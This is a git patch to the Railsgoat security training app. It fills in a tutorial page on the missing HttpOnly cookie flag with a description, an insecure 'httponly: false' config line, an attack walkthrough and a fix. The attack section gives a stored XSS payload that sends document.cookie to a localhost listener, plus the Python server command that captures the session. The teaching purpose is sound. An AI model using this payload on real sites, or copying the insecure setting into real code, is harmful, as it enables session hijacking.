From a50cad0cf395d0fd788cb214f2af5a4a8f2db8de Mon Sep 17 00:00:00 2001 From: cktricky Date: Thu, 11 Sep 2014 11:11:55 -0400 Subject: [PATCH] Resolves #133 --- .../broken_auth_sess/_httponly_flag.html.erb | 28 +++++++++++++++---- 1 file changed, 23 insertions(+), 5 deletions(-) diff --git a/app/views/layouts/tutorial/broken_auth_sess/_httponly_flag.html.erb b/app/views/layouts/tutorial/broken_auth_sess/_httponly_flag.html.erb index 52a13a5..498a0c6 100644 --- a/app/views/layouts/tutorial/broken_auth_sess/_httponly_flag.html.erb +++ b/app/views/layouts/tutorial/broken_auth_sess/_httponly_flag.html.erb @@ -16,7 +16,7 @@
- INSERT DESC + The HttpOnly flag prevents access to the document.cookie attribute of the DOM via JavaScript. Helpful for limiting the impact of Cross-Site Scripting as it relates to session theft.
@@ -31,7 +31,7 @@

- By default, Ruby on Rails protects it's cookies with the HttpOnly flag. However, it is possible to disable this security protection and is not recommended. You can disable this protection using the flag highlighted below. This is an insecure and unnecessary change. + By default, Ruby on Rails protects its' cookies with the HttpOnly flag. However, it is possible to disable this security protection and is not recommended. You can disable this protection using the flag highlighted below. This is an insecure and unnecessary change.

 Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session', httponly: false
@@ -49,8 +49,26 @@ Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_sess
           
-

Lack of Password Complexity - SOLUTION

- INSERT SOLUTION +

Lack of the HttpOnly Flag - ATTACK

+

+ Navigate to the sign-up page, sign up as a user, but in the first name field, enter: +

+					<script>document.location="http://localhost:8000/" + document.cookie </script>
+				  
+

+ Additionally, fire up Python's SimpleHTTPServer module using the following command: +

+
+					$ python -m SimpleHTTPServer
+				  
+

+ Now authenticate to the application as the user you just created, you'll be redirected, now review the terminal tab that has the python server running. You'll notice that you see a GET request with the user's session in the request path. This means you have now grabbed the user's session via Cross-Site Scripting. +

+

+

Lack of the HttpOnly Flag - SOLUTION

+

+ Keep the default configuration "as-is" and do not make this change. If this exists in your code base, remove it. +

@@ -65,7 +83,7 @@ Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_sess

- INSERT DESC + Can JavaScript interact with my session cookie?